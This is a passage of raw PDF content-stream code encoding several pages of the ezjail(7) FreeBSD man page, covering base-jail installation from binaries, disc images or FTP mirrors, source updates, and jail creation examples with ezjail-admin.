208214.6523 0 TD
2083(and restarting the jail.)Tj
2084-14.6523 -1.8 TD
20850.0321 Tw
2086[(The jails use the same netw)10(ork stack as the host system. In particular)40(,)-282.1(that means that if a )]TJ
2087/TT9 1 Tf
208836.4619 0 TD
20890 Tw
2090()Tj
2091/TT6 1 Tf
20920.5562 0 TD
20930.0321 Tw
2094[(re)25(w)10(all is needed,)]TJ
2095-37.018 -1.2 TD
20960 Tw
2097(it must be con)Tj
2098/TT9 1 Tf
20995.6382 0 TD
2100()Tj
2101/TT6 1 Tf
21020.5562 0 TD
2103(gured in the host system.)Tj
2104-6.1943 -1.8 TD
21050.1787 Tw
2106(The ezjail system \(and the jails it controls\) depends on the )Tj
2107/TT11 1 Tf
210825.931 0 TD
21090 Tw
2110($ezjail_enable)Tj
2111/TT6 1 Tf
21128.4014 0 TD
21130.1787 Tw
2114[()-428.7(v)25(ariable being set to)]TJ
2115-34.3324 -1.2 TD
21160 Tw
2117()Tj
2118/TT11 1 Tf
21190.4438 0 TD
2120(YES)Tj
2121/TT6 1 Tf
21221.8003 0 TD
21230.397 Tc
2124[(i)397(n)]TJ
2125/TT11 1 Tf
21262.0157 0 TD
21270 Tc
2128(rc.conf)Tj
2129/TT6 1 Tf
21304.2007 0 TD
21310.147 Tw
2132[(.)-647(I)0(t)-397(i)0(s)-397(possible to set this v)25(ariable to )]TJ
2133/TT11 1 Tf
213416.3791 0 TD
21350 Tw
2136(NO)Tj
2137/TT6 1 Tf
21381.2002 0 TD
21390.147 Tw
2140[()-397(i)0(f)-397(the administrator w)10(ants to temporarily)]TJ
2141-26.0398 -1.2 TD
21420 Tw
2143[(ezjail, or if she doesn)18(t)-250(w)10(ant the jails to be automatically started on boot.)]TJ
21440 -1.8 TD
2145[(The ezjail system may be reset to a pristine state by remo)15(ving all its )]TJ
2146/TT9 1 Tf
214727.3663 0 TD
2148()Tj
2149/TT6 1 Tf
21500.5562 0 TD
2151(les, that is:)Tj
2152/TT11 1 Tf
2153-27.9225 -1.2 TD
2154(/usr/jails/)Tj
2155T*
2156(EZJAIL_PREFIX/etc/ezjail/)Tj
2157T*
2158(EZJAIL_PREFIX/etc/ezjail.conf)Tj
2159T*
2160(/etc/fstab.)Tj
2161/TT14 1 Tf
21626.6011 0 TD
2163<009b>Tj
2164/TT6 1 Tf
21651.1 0 TD
2166[(\(b)20(ut check the list of )]TJ
2167/TT9 1 Tf
21688.4497 0 TD
2169()Tj
2170/TT6 1 Tf
21710.5562 0 TD
2172(les this matches\))Tj
2173/TT2 1 Tf
2174-19.707 -2.4 TD
2175(EXAMPLES)Tj
2176/TT6 1 Tf
21773 -1.2 TD
21780.0276 Tw
2179[(The e)15(xamples belo)25(w)-277.6(are only that, e)15(xamples. The reader is encouraged to read the)]TJ
2180/TT11 1 Tf
218133.4294 0 TD
21820 Tw
2183(ezjail-admin)Tj
2184/TT6 1 Tf
21857.2012 0 TD
21860.0277 Tw
2187(\(8\) man)Tj
2188-40.6305 -1.2 TD
21890 Tw
2190(page for de)Tj
2191/TT9 1 Tf
21924.4976 0 TD
2193()Tj
2194/TT6 1 Tf
21950.5562 0 TD
2196[(niti)25(v)15(e)15( )-15(documentation of all the options.)]TJ
2197/TT2 1 Tf
2198-6.8537 -2.4 TD
21990.0625 Tw
2200(Initial Binary Installation)Tj
2201/TT6 1 Tf
22021.8 -1.2 TD
22030.2348 Tw
2204[(The ezjail system may be bootstrapped either from binary packages, or by b)20(uilding from source. The)]TJ
2205/TT4 1 Tf
2206T*
22070 Tw
2208(install)Tj
2209/TT6 1 Tf
22104.5725 0 TD
22110.1218 Tw
2212[(command allo)25(w)-371.8(t)0(o)-371.8(bootstrap from binary packages, while the)]TJ
2213/TT4 1 Tf
221425.8423 0 TD
22150 Tw
2216(update)Tj
2217/TT6 1 Tf
22183.9725 0 TD
22190.1219 Tw
2220(deals with installations)Tj
2221-34.3873 -1.2 TD
22220 Tw
2223(\(and updates\) from source.)Tj
2224-3 -5.4 TD
222517.775 Tw
2226[(BSD January)-250(15, )17775(2011)-19470(5)]TJ
2227ET
2228endstream
2229endobj
223024 0 obj
2231<<
2232/ProcSet [/PDF /Text ]
2233/Font <<
2234/TT2 4 0 R
2235/TT3 18 0 R
2236/TT4 5 0 R
2237/TT6 6 0 R
2238/TT8 7 0 R
2239/TT9 8 0 R
2240/TT11 9 0 R
2241/TT13 25 0 R
2242/TT14 26 0 R
2243>>
2244/ExtGState <<
2245/GS1 10 0 R
2246>>
2247>>
2248endobj
224928 0 obj
2250<<
2251/Length 4569
2252>>
2253stream
2254BT
2255/TT6 1 Tf
225610 0 0 10 72 744 Tm
22570 g
2258/GS1 gs
22590 Tc
2260-0.0834 Tw
2261[(EZJ)60(AIL \(7\))-12017.9(User)55(s)-250(Supplementary )-83.4(Documents)-12017.9(EZJ)60(AIL \(7\))]TJ
2262/TT4 1 Tf
22633 -4.8 TD
22640 Tw
2265(ezjail-admin )Tj
22667.4513 0 TD
2267(install)Tj
2268/TT6 1 Tf
22694.8007 0 TD
2270[(\(without an)15(y)-250(options\))]TJ
2271-8.152 -1.2 TD
22720.0585 Tw
2273[(Fetch and install binaries for populating the base jail from the FreeBSD FTP serv)15(er)55(.)-308.6(I)0(f)-308.6(the host is)]TJ
2274T*
22750.1324 Tw
2276[(not running a -RELEASE v)15(ersion, you will be ask)10(ed for the release to install. Neither the man)]TJ
2277T*
22780.0849 Tw
2279[(pages nor the source nor the ports tree are installed. Note that the FreeBSD FTP serv)15(er is some-)]TJ
2280T*
22810.0134 Tw
2282[(times so b)20(usy the do)25(wnload times out. Use the)]TJ
2283/TT3 1 Tf
228419.0738 0 TD
22850 Tw
2286<00e9>Tj
2287/TT4 1 Tf
22880.6001 0 TD
2289(h)Tj
2290/TT8 1 Tf
22911.2136 0 TD
2292(host)Tj
2293/TT6 1 Tf
22942.6639 0 TD
22950.0135 Tw
2296[(option to specify a less loaded serv)15(er)40(,)-263.5(o)0(r)]TJ
2297-23.5514 -1.2 TD
22980 Tw
2299(the )Tj
2300/TT11 1 Tf
23011.9155 0 TD
2302($ezjail_ftphost)Tj
2303/TT6 1 Tf
23049.0015 0 TD
2305[()-250(option in)]TJ
2306/TT11 1 Tf
23074.5273 0 TD
2308(ezjail.conf)Tj
2309/TT6 1 Tf
23106.6011 0 TD
2311(\(8\).)Tj
2312/TT4 1 Tf
2313-26.1454 -1.8 TD
2314(ezjail-admin )Tj
23157.4513 0 TD
2316(install)Tj
2317/TT3 1 Tf
23184.9673 0 TD
2319<00e9>Tj
2320/TT4 1 Tf
23210.6001 0 TD
2322(ms)Tj
2323/TT6 1 Tf
2324-8.9186 -1.2 TD
2325[(Same beha)20(vior as abo)15(v)15(e)0(,)-250(e)15(xcept that man pages and sources are installed in the base jail.)]TJ
2326/TT4 1 Tf
2327-4.1 -1.8 TD
2328(ezjail-admin )Tj
23297.4513 0 TD
2330(install)Tj
2331/TT3 1 Tf
23324.9673 0 TD
2333<00e9>Tj
2334/TT4 1 Tf
23350.6001 0 TD
2336(p)Tj
2337/TT6 1 Tf
2338-8.9186 -1.2 TD
23390.1067 Tw
2340(Same as the )Tj
2341/TT9 1 Tf
23425.3465 0 TD
23430 Tw
2344()Tj
2345/TT6 1 Tf
23460.5562 0 TD
23470.1066 Tw
2348[(rst e)15(xample, b)20(ut use)]TJ
2349/TT11 1 Tf
23508.6395 0 TD
23510 Tw
2352(portsnap)Tj
2353/TT6 1 Tf
23544.8008 0 TD
23550.1066 Tw
2356[(\(8\) to fetch and e)15(xtract a full FreeBSD ports tree)]TJ
2357-19.3429 -1.2 TD
23580 Tw
2359(from)Tj
2360/TT11 1 Tf
23612.2498 0 TD
2362(portsnap.FreeBSD.org)Tj
2363/TT6 1 Tf
236412.308 0 TD
23650.0561 Tw
2366(into the base jail. This is necessary if you plan to install ports)Tj
2367-14.5578 -1.2 TD
23680 Tw
2369(at later time into service jails.)Tj
2370/TT4 1 Tf
2371-4.1 -1.8 TD
2372(ezjail-admin )Tj
23737.4513 0 TD
2374(install)Tj
2375/TT3 1 Tf
23764.9673 0 TD
2377<00e9>Tj
2378/TT4 1 Tf
23790.6001 0 TD
2380(P)Tj
2381/TT6 1 Tf
23821.2001 0 TD
2383(\(note uppercase P\))Tj
2384-10.1187 -1.2 TD
23850.0451 Tw
2386[(Only fetch the current v)15(ersion of the ports tree, adding it to the base jail.)-545.1(This allo)25(w)-295.1(t)0(o)-295.1(either add)]TJ
2387T*
23880 Tw
2389(the ports tree after the initial installation or update the ports tree in the base jail.)Tj
2390-4.1 -1.8 TD
2391(Install from a disk image)Tj
23924.1 -1.2 TD
2393[(Mount and use a do)25(wnloaded)]TJ
2394/TT11 1 Tf
239512.0004 0 TD
2396(disc1.iso)Tj
2397/TT6 1 Tf
23985.6509 0 TD
2399(CDRom image )Tj
2400/TT9 1 Tf
24016.2773 0 TD
2402()Tj
2403/TT6 1 Tf
24040.5562 0 TD
2405(le.)Tj
2406/TT11 1 Tf
2407-21.4848 -1.8 TD
2408(mdconfig -a -f /usr/8.0-RELEASE-i386-disc1.iso md0)Tj
24090 -1.2 TD
2410(mount -v -t cd9660 /dev/md0 /mnt)Tj
2411T*
2412(cd /mnt/8.0-RELEASE)Tj
2413T*
2414(ezjail-admin install -h file:// -sm)Tj
2415/TT6 1 Tf
2416-3 -1.8 TD
2417(When the installation )Tj
2418/TT9 1 Tf
24198.8032 0 TD
2420()Tj
2421/TT6 1 Tf
24220.5562 0 TD
2423[(nishes, use the follo)25(wing to release the)]TJ
2424/TT11 1 Tf
242515.6933 0 TD
2426(disc1.iso )Tj
24275.651 0 TD
2428(md0)Tj
2429/TT9 1 Tf
24302.0503 0 TD
2431()Tj
2432/TT6 1 Tf
24330.5562 0 TD
2434(le.)Tj
2435/TT11 1 Tf
2436-30.3101 -1.8 TD
2437(cd /usr)Tj
24380 -1.2 TD
2439(umount /mnt)Tj
2440T*
2441(mdconfig -d -u md0)Tj
2442/TT6 1 Tf
2443-7.1 -1.8 TD
2444(Install from a local directory)Tj
24454.1 -1.2 TD
24460.0174 Tw
2447[(T)80(o)80( )-80(fetch the RELEASE base )]TJ
2448/TT9 1 Tf
244911.7536 0 TD
24500 Tw
2451()Tj
2452/TT6 1 Tf
24530.5562 0 TD
24540.0174 Tw
2455[(les manually)65(,)-267.4(create a)]TJ
2456/TT11 1 Tf
24578.9167 0 TD
24580 Tw
2459(.netrc)Tj
2460/TT9 1 Tf
24613.868 0 TD
2462()Tj
2463/TT6 1 Tf
24640.5562 0 TD
24650.0175 Tw
2466(le in your home directory and pop-)Tj
2467-25.6506 -1.2 TD
24680 Tw
2469(ulate it with this.)Tj
2470/TT11 1 Tf
24713 -1.8 TD
2472(machine ftp2.jp.FreeBSD.org)Tj
24730 -1.2 TD
2474(login anonymous)Tj
2475T*
2476(password FBSD@home.com)Tj
2477T*
2478(macdef init)Tj
2479T*
2480(prompt off)Tj
2481T*
2482(cd /pub/FreeBSD/releases/i386/8.0-RELEASE)Tj
2483T*
2484(epsv4 off)Tj
2485T*
2486[($)-600(getdir base kernels manpages src)]TJ
2487T*
2488(quit)Tj
2489T*
2490(macdef getdir)Tj
2491T*
2492[(!)-600(mkdir $i)]TJ
2493T*
2494(mreget $i/)Tj
2495/TT14 1 Tf
24966.001 0 TD
2497<009b>Tj
2498/TT6 1 Tf
2499-9.001 -1.8 TD
25000.0818 Tw
2501[(Then issue this command on the command line. If the FTP do)25(wnload times out re-issue the FTP)]TJ
25020 -1.2 TD
2503-0.0001 Tc
25040.0001 Tw
2505[(command again to resume where it left of)24.9(f.)]TJ
2506/TT11 1 Tf
25073 -1.8 TD
25080 Tc
25090 Tw
2510(mkdir /usr/8.0-RELEASE)Tj
25110 -1.2 TD
2512(cd /usr/8.0-RELEASE)Tj
2513T*
2514(ftp -v ftp2.jp.FreeBSD.org)Tj
2515T*
2516(ezjail-admin install -h file:// -sm)Tj
2517/TT6 1 Tf
2518-10.1 -4.8 TD
251917.775 Tw
2520[(BSD January)-250(15, )17775(2011)-19470(6)]TJ
2521ET
2522endstream
2523endobj
252429 0 obj
2525<<
2526/ProcSet [/PDF /Text ]
2527/Font <<
2528/TT3 18 0 R
2529/TT4 5 0 R
2530/TT6 6 0 R
2531/TT8 7 0 R
2532/TT9 8 0 R
2533/TT11 9 0 R
2534/TT14 26 0 R
2535>>
2536/ExtGState <<
2537/GS1 10 0 R
2538>>
2539>>
2540endobj
254131 0 obj
2542<<
2543/Length 8340
2544>>
2545stream
2546BT
2547/TT6 1 Tf
254810 0 0 10 72 744 Tm
25490 g
2550/GS1 gs
25510 Tc
2552-0.0834 Tw
2553[(EZJ)60(AIL \(7\))-12017.9(User)55(s)-250(Supplementary )-83.4(Documents)-12017.9(EZJ)60(AIL \(7\))]TJ
25547.1 -4.8 TD
25550.0468 Tw
2556[(Use this option to tar)18(get the 8.0-RELEASE )]TJ
2557/TT9 1 Tf
255817.8628 0 TD
25590 Tw
2560()Tj
2561/TT6 1 Tf
25620.5562 0 TD
25630.0468 Tw
2564(les you FTPed as the source of the running binaries)Tj
2565-18.419 -1.2 TD
25660.0222 Tw
2567(used to populate the base jail. In addition the man pages and sources will be installed into the base)Tj
2568T*
25690 Tw
2570(jail.)Tj
2571/TT2 1 Tf
2572-5.9 -2.4 TD
25730.0625 Tw
2574[(Fr)18(om Sour)18(ce Installation and Update)]TJ
2575/TT6 1 Tf
25761.8 -1.2 TD
25770 Tw
2578(The)Tj
2579/TT4 1 Tf
25801.8663 0 TD
2581(update)Tj
2582/TT6 1 Tf
25833.9122 0 TD
25840.0617 Tw
2585(is used to both install or update from source the base jail, and for updating the base jail from)Tj
2586-5.7785 -1.2 TD
25870 Tw
2588(binary packages.)Tj
2589/TT4 1 Tf
25900 -1.8 TD
2591(ezjail-admin )Tj
25927.4513 0 TD
2593(update)Tj
2594/TT3 1 Tf
25954.3672 0 TD
2596<00e9>Tj
2597/TT4 1 Tf
25980.6001 0 TD
2599(b)Tj
2600/TT6 1 Tf
2601-8.3186 -1.2 TD
26020.1178 Tw
2603[(Build and install a w)10(orld from source. The sources are tak)10(en from)]TJ
2604/TT11 1 Tf
260527.9692 0 TD
26060 Tw
2607(/usr/src)Tj
2608/TT6 1 Tf
26095.1686 0 TD
26100.1178 Tw
2611[(\(b)20(ut see the)]TJ
2612/TT3 1 Tf
26135.3594 0 TD
26140 Tw
2615<00e9>Tj
2616/TT4 1 Tf
26170.6001 0 TD
2618(s)Tj
2619/TT9 1 Tf
2620-39.0973 -1.2 TD
2621()Tj
2622/TT6 1 Tf
26230.5562 0 TD
26240.062 Tw
2625(ag\). This can be used both for creating the initial base jail, and for updating it after the host has)Tj
2626-0.5562 -1.2 TD
26270 Tw
2628(been upgraded.)Tj
2629/TT4 1 Tf
2630-4.1 -1.8 TD
2631(ezjail-admin )Tj
26327.4513 0 TD
2633(update)Tj
2634/TT3 1 Tf
26354.3672 0 TD
2636<00e9>Tj
2637/TT4 1 Tf
26380.6001 0 TD
2639(u)Tj
2640/TT6 1 Tf
2641-8.3186 -1.2 TD
26420.0418 Tw
2643[(Update the base jail to the ne)15(xt release using)]TJ
2644/TT11 1 Tf
264518.4389 0 TD
26460 Tw
2647(freebsd-update)Tj
2648/TT6 1 Tf
26498.4014 0 TD
26500.0418 Tw
2651(\(8\) \(i.e. using binary packages\).)Tj
2652-26.8403 -1.2 TD
26530 Tw
2654[(This may be used only to update an e)15(xisting installation.)]TJ
2655/TT4 1 Tf
2656-4.1 -1.8 TD
2657(ezjail-admin )Tj
26587.4513 0 TD
2659(update)Tj
2660/TT3 1 Tf
26614.3672 0 TD
2662<00e9>Tj
2663/TT4 1 Tf
26640.6001 0 TD
2665(U )Tj
2666/TT3 1 Tf
26671.3668 0 TD
2668<00e9>Tj
2669/TT4 1 Tf
26700.6001 0 TD
2671(s)Tj
2672/TT8 1 Tf
26731.2001 0 TD
2674(8.0-RELEASE)Tj
2675/TT6 1 Tf
2676-11.4855 -1.2 TD
26770.0237 Tw
2678[(Upgrade the base jail to the host system)55(s)-273.7(release using)]TJ
2679/TT11 1 Tf
268022.5096 0 TD
26810 Tw
2682(freebsd-update)Tj
2683/TT6 1 Tf
26848.4014 0 TD
26850.0237 Tw
2686(\(8\). This may be used)Tj
2687-30.911 -1.2 TD
26880.1517 Tw
2689[(only to upgrade an e)15(xisting installation. T)70(ell freebsd-update which OS v)15(ersion to e)15(xpect in the)]TJ
2690T*
26910 Tw
2692(basejail via the)Tj
2693/TT3 1 Tf
26946.4142 0 TD
2695<00e9>Tj
2696/TT4 1 Tf
26970.6001 0 TD
2698(s)Tj
2699/TT6 1 Tf
27001.2001 0 TD
2701(option.)Tj
2702-8.2144 -1.8 TD
27030.0405 Tw
2704(Note: Check)Tj
2705/TT11 1 Tf
27065.3574 0 TD
27070 Tw
2708(uname)Tj
2709/TT6 1 Tf
27103.0005 0 TD
27110.0405 Tw
2712(\(1\) and especially the)Tj
2713/TT11 1 Tf
27148.9916 0 TD
27150 Tw
2716(UNAME_r)Tj
2717/TT6 1 Tf
27184.4912 0 TD
27190.0405 Tw
2720[(en)40(vironment v)25(ariable to upgrade to dif)25(ferent)]TJ
2721-21.8406 -1.2 TD
27220 Tw
2723[(v)15(ersions.)]TJ
2724/TT2 1 Tf
2725-5.9 -2.4 TD
27260.0625 Tw
2727[(J)15(ail Cr)18(eation Examples)]TJ
2728/TT4 1 Tf
27291.8 -1.2 TD
27300 Tw
2731(ezjail-admin )Tj
27327.4513 0 TD
2733(create)Tj
2734/TT8 1 Tf
27354.2006 0 TD
2736(www.example.com 10.0.10.1)Tj
2737/TT6 1 Tf
2738-7.5519 -1.2 TD
27390.1052 Tw
2740[(Create a ne)25(w)-355.2(jail. The jail )]TJ
2741/TT9 1 Tf
274211.1848 0 TD
27430 Tw
2744()Tj
2745/TT6 1 Tf
27460.5562 0 TD
27470.1052 Tw
2748(les will reside in directory)Tj
2749/TT11 1 Tf
275011.2173 0 TD
27510 Tw
2752(www_example_com)Tj
2753/TT6 1 Tf
27549.3566 0 TD
2755(in)Tj
2756/TT11 1 Tf
27571.1329 0 TD
2758(/usr/jails)Tj
2759/TT6 1 Tf
27606.001 0 TD
2761(,)Tj
2762-39.4487 -1.2 TD
27630.0244 Tw
2764[(unless the v)25(ariable )]TJ
2765/TT11 1 Tf
27668.1839 0 TD
27670 Tw
2768($ezjail_jaildir)Tj
2769/TT6 1 Tf
27709.0015 0 TD
27710.0244 Tw
2772[()-274.4(has been set to some other v)25(alue. The jail will only be)]TJ
2773-17.1854 -1.2 TD
27740.0695 Tw
2775[(allo)25(wed to use the gi)25(v)15(e)0(n)-319.6(I)0(P)-319.6(address. A w)10(arning will be displayed if this IP address is not already)]TJ
2776T*
27770 Tw
2778(con)Tj
2779/TT9 1 Tf
27801.4438 0 TD
2781()Tj
2782/TT6 1 Tf
27830.5562 0 TD
27840.0655 Tw
2785[(gured in the host, or if some netw)10(ork daemon is already listening on this address. The name)]TJ
2786-2 -1.2 TD
27870.2352 Tw
2788(of the jail which will appear in the)Tj
2789/TT4 1 Tf
279015.8772 0 TD
27910 Tw
2792(list)Tj
2793/TT6 1 Tf
27942.8856 0 TD
27950.2351 Tw
2796[(command or which will need to be gi)25(v)15(e)0(n)-485.1(t)0(o)-485.1(the)]TJ
2797/TT4 1 Tf
2798-18.7628 -1.2 TD
27990 Tw
2800(console)Tj
2801/TT6 1 Tf
28024.4507 0 TD
2803(command is)Tj
2804/TT8 1 Tf
28055.1104 0 TD
2806(www.example.com)Tj
2807/TT6 1 Tf
28089.0015 0 TD
2809(.)Tj
2810/TT4 1 Tf
2811-22.6625 -1.8 TD
28121.0528 Tw
2813(ezjail-admin create)Tj
2814/TT3 1 Tf
281514.6241 0 TD
28160 Tw
2817<00e9>Tj
2818/TT4 1 Tf
28190.6001 0 TD
2820(f)Tj
2821/TT8 1 Tf
28222.6029 0 TD
2823(example)Tj
2824/TT3 1 Tf
28256.3701 0 TD
2826<00e9>Tj
2827/TT4 1 Tf
28280.6001 0 TD
2829(r)Tj
2830/TT8 1 Tf
28312.6029 0 TD
28321.4028 Tw
2833(webserver www.example.com)Tj
2834-23.3001 -1.2 TD
28350 Tw
2836(10.0.10.2,2001:db8:1:9243::80)Tj
2837/TT6 1 Tf
2838T*
28390.0101 Tw
2840[(Create a ne)25(w)-260.1(jail, placing it in directory)]TJ
2841/TT11 1 Tf
284216.1886 0 TD
28430 Tw
2844(webserver)Tj
2845/TT6 1 Tf
28465.661 0 TD
28470.0101 Tw
2848[(instead of deri)25(ving the directory name of the)]TJ
2849-21.8496 -1.2 TD
28500.0138 Tw
2851[(jail from its host name.)-513.9(The jail will be created with the )]TJ
2852/TT9 1 Tf
285322.8819 0 TD
28540 Tw
2855()Tj
2856/TT6 1 Tf
28570.5561 0 TD
2858[(a)20(v)20(our)]TJ
2859/TT8 1 Tf
28602.5007 0 TD
2861(example)Tj
2862/TT6 1 Tf
28634.2007 0 TD
28640.0138 Tw
2865[(.)-513.8(This jail will be gi)25(v)15(e)0(n)]TJ
2866-30.1394 -1.2 TD
28670 Tw
2868[(tw)10(o)-250(I)0(P)-250(addressses; this is possible only since FreeBSD 7.2.)]TJ
2869/TT4 1 Tf
2870-4.1 -1.8 TD
2871(ezjail-admin )Tj
28727.4513 0 TD
2873(create)Tj
2874/TT3 1 Tf
28754.3672 0 TD
2876<00e9>Tj
2877/TT4 1 Tf
28780.6001 0 TD
2879(i )Tj
2880/TT3 1 Tf
28811.3668 0 TD
2882<00e9>Tj
2883/TT4 1 Tf
28840.6001 0 TD
2885(s)Tj
2886/TT8 1 Tf
28871.2001 0 TD
2888(600M sandbox2 10.0.10.4)Tj
2889/TT6 1 Tf
2890-11.4855 -1.2 TD
28910.869 Tw
2892[(This creates a ne)25(w)]TJ
2893/TT9 1 Tf
289411.1142 0 TD
28950 Tw
2896()Tj
2897/TT6 1 Tf
28980.5562 0 TD
28990.8691 Tw
2900[(le-based jail ha)20(ving a )]TJ
2901/TT9 1 Tf
290212.2308 0 TD
29030 Tw
2904()Tj
2905/TT6 1 Tf
29060.5562 0 TD
2907-0.0002 Tc
29080.8693 Tw
2909[(le size of 600 me)14.8(gabytes in)]TJ
2910/TT11 1 Tf
2911-24.4573 -1.2 TD
29120 Tc
29130 Tw
2914(/usr/jails/sandbox2.img)Tj
2915/TT6 1 Tf
291613.8022 0 TD
29170.0613 Tw
2918[(.)-561.3(A)0(n)-311.3(empty directory)65(,)]TJ
2919/TT11 1 Tf
29209.2613 0 TD
29210 Tw
2922(/usr/jails/sandbox2)Tj
2923/TT6 1 Tf
292411.4019 0 TD
29250.0613 Tw
2926[(,)-311.3(will be cre-)]TJ
2927-34.4653 -1.2 TD
29280 Tw
2929(ated, and used as a mount point when starting the jail.)Tj
2930/TT4 1 Tf
2931-4.1 -1.8 TD
2932(ezjail-admin )Tj
29337.4513 0 TD
2934(create)Tj
2935/TT3 1 Tf
29364.3672 0 TD
2937<00e9>Tj
2938/TT4 1 Tf
29390.6001 0 TD
2940(c bde)Tj
2941/TT3 1 Tf
29423.7671 0 TD
2943<00e9>Tj
2944/TT4 1 Tf
29450.6001 0 TD
2946(s)Tj
2947/TT8 1 Tf
29481.2001 0 TD
2949(600M sandbox3 10.0.10.5)Tj
2950/TT6 1 Tf
2951-13.8858 -1.2 TD
29520.2102 Tw
2953[(This creates a ne)25(w)]TJ
2954/TT9 1 Tf
29558.4789 0 TD
29560 Tw
2957()Tj
2958/TT6 1 Tf
29590.5562 0 TD
29600.2102 Tw
2961(le based image jail, with)Tj
2962/TT11 1 Tf
296311.0481 0 TD
29640 Tw
2965(gbde)Tj
2966/TT6 1 Tf
29672.4004 0 TD
29680.2102 Tw
2969(\(4\) encryption. During the gbde creation)Tj
2970-22.4835 -1.2 TD
29710.0567 Tw
2972[(process you are ask)10(ed to enter a passphrase that is used as the prime seed v)25(alue of the encryption)]TJ
2973T*
29740.0585 Tw
2975[(process. )-250(Remember)-308.5(this passphrase, you will be ask)10(ed for the passphrase e)25(v)15(ery time you w)10(ant to)]TJ
2976T*
29770.1061 Tw
2978[(start this jail. As the)15(y)-356.2(require administrator interaction, jails back)10(ed by an encrypted )]TJ
2979/TT9 1 Tf
298035.2054 0 TD
29810 Tw
2982()Tj
2983/TT6 1 Tf
29840.5562 0 TD
29850.1061 Tw
2986(le are not)Tj
2987-35.7615 -1.2 TD
29880 Tw
2989(automatically started when the system boots.)Tj
2990/TT4 1 Tf
2991-4.1 -1.8 TD
2992(ezjail-admin )Tj
29937.4513 0 TD
2994(create)Tj
2995/TT3 1 Tf
29964.3672 0 TD
2997<00e9>Tj
2998/TT4 1 Tf
29990.6001 0 TD
3000(c)Tj
3001/TT8 1 Tf
30021.2001 0 TD
3003(zfs)Tj
3004/TT3 1 Tf
30052.5669 0 TD
3006<00e9>Tj
3007/TT4 1 Tf
30080.6001 0 TD
3009(s)Tj
3010/TT8 1 Tf
30111.2001 0 TD
3012(1G sandbox4 em1\\|10.0.10.6)Tj
3013/TT6 1 Tf
3014-13.8857 -1.2 TD
30150.039 Tw
3016[(This creates a ne)25(w)-289(zfs )]TJ
3017/TT9 1 Tf
30189.2491 0 TD
30190 Tw
3020()Tj
3021/TT6 1 Tf
30220.5562 0 TD
3023-0.0001 Tc
30240.0391 Tw
3025[(lesystem based jail with a def)9.9(ault quota of 1 gigabyte using lzjb compres-)]TJ
3026-9.8053 -1.2 TD
30270 Tc
30280.0134 Tw
3029(sion. It uses the parent ZFS )Tj
3030/TT9 1 Tf
303111.2738 0 TD
30320 Tw
3033()Tj
3034/TT6 1 Tf
30350.5562 0 TD
30360.0134 Tw
3037(lesystem con)Tj
3038/TT9 1 Tf
30395.2068 0 TD
30400 Tw
3041()Tj
3042/TT6 1 Tf
30430.5562 0 TD
30440.0134 Tw
3045(gured in the )Tj
3046/TT11 1 Tf
30475.5104 0 TD
30480 Tw
3049($ezjail_jailzfs)Tj
3050/TT6 1 Tf
30519.0015 0 TD
30520.0133 Tw
3053[()-263.4(v)25(ariable to create)]TJ
3054-32.1047 -1.2 TD
30550 Tw
3056(the )Tj
3057/TT9 1 Tf
30581.4844 0 TD
3059()Tj
3060/TT6 1 Tf
30610.5561 0 TD
30620.0127 Tw
3063[(lesystem in. The jail command will add the ip address 10.0.10.6 as an alias on the de)25(vice em1)]TJ
3064-9.1405 -4.8 TD
306517.775 Tw
3066[(BSD January)-250(15, )17775(2011)-19470(7)]TJ
3067ET
3068endstream
3069endobj
307032 0 obj
3071<<
3072/ProcSet [/PDF /Text ]
3073/Font <<
3074/TT2 4 0 R
3075/TT3 18 0 R
3076/TT4 5 0 R
3077/TT6 6 0 R
3078/TT8 7 0 R
3079/TT9 8 0 R
3080/TT11 9 0 R
3081>>
3082/ExtGState <<
3083/GS1 10 0 R
3084>>
3085>>
3086endobj
308734 0 obj
3088<<
3089/Length 1838
3090>>
3091stream
3092BT
3093/TT6 1 Tf
309410 0 0 10 72 744 Tm
30950 g
3096/GS1 gs
30970 Tc
3098-0.0834 Tw
3099[(EZJ)60(AIL \(7\))-12017.9(User)55(s)-250(Supplementary )-83.4(Documents)-12017.9(EZJ)60(AIL \(7\))]TJ
31007.1 -4.8 TD
31010 Tw
3102(before starting the jail.)Tj
3103/TT2 1 Tf
3104-7.1 -2.4 TD
3105(FILES)Tj
3106/TT11 1 Tf
31073 -1.2 TD
3108(EZJAIL_PREFIX/bin/ezjail-admin)Tj
3109T*
3110(EZJAIL_PREFIX/etc/rc.d/ezjail)Tj
3111T*
3112(EZJAIL_PREFIX/etc/ezjail.conf)Tj
3113T*
3114(EZJAIL_PREFIX/share/examples/ezjail/)Tj
3115T*
3116(EZJAIL_PREFIX/etc/ezjail/)Tj
3117/TT14 1 Tf
311815.0024 0 TD
3119<009b>Tj
3120/TT11 1 Tf
3121-15.0024 -1.2 TD
3122(/usr/etc/fstab.)Tj
3123/TT14 1 Tf
31249.0015 0 TD
3125<009b>Tj
3126/TT2 1 Tf
3127-12.0015 -2.4 TD
31280.1666 Tw
3129(SEE ALSO)Tj
3130/TT11 1 Tf
31313 -1.2 TD
31320 Tw
3133(ezjail-admin)Tj
3134/TT6 1 Tf
31357.2012 0 TD
3136(\(8\),)Tj
3137/TT11 1 Tf
31381.666 0 TD
3139(ezjail.conf)Tj
3140/TT6 1 Tf
31416.6011 0 TD
3142(\(5\),)Tj
3143/TT11 1 Tf
31441.666 0 TD
3145(jail)Tj
3146/TT6 1 Tf
31472.4004 0 TD
3148(\(8\),)Tj
3149/TT11 1 Tf
31501.666 0 TD
3151(nullfs)Tj
3152/TT6 1 Tf
31533.6006 0 TD
3154(\(4\),)Tj
3155/TT11 1 Tf
31561.666 0 TD
3157(zfs)Tj
3158/TT6 1 Tf
31591.8003 0 TD
3160(\(8\).)Tj
3161-28.2676 -1.8 TD
3162(Interesting additional tools include: )Tj
3163/TT11 1 Tf
316414.8853 0 TD
3165(ports-mgmt/jailaudit)Tj
3166/TT6 1 Tf
316712.0019 0 TD
3168(.)Tj
3169/TT2 1 Tf
3170-29.8872 -2.4 TD
3171[(A)50(UTHOR)]TJ
3172/TT6 1 Tf
31733 -1.2 TD
3174(Dirk Engling)Tj
3175/TT14 1 Tf
31765.4995 0 TD
3177<009d>Tj
3178/TT6 1 Tf
31790.3291 0 TD
3180[(erdgeist@erdgeist.or)18(g)]TJ
3181/TT14 1 Tf
31828.817 0 TD
3183<009c>Tj
3184/TT6 1 Tf
31850.3291 0 TD
3186(.)Tj
3187-14.9747 -1.8 TD
31880.0755 Tw
3189(The man page is based on a draft by JoeB)Tj
3190/TT14 1 Tf
319117.6944 0 TD
31920 Tw
3193<009d>Tj
3194/TT6 1 Tf
31950.3291 0 TD
